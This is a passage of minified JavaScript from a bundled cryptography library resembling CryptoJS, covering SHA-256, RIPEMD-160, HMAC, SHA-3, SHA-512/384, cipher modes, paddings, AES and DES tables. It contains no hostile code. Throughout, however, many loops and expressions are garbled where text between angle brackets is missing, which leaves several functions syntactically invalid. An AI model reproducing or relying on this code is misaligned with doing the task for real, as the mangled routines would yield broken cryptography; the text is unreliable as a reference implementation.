i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:3355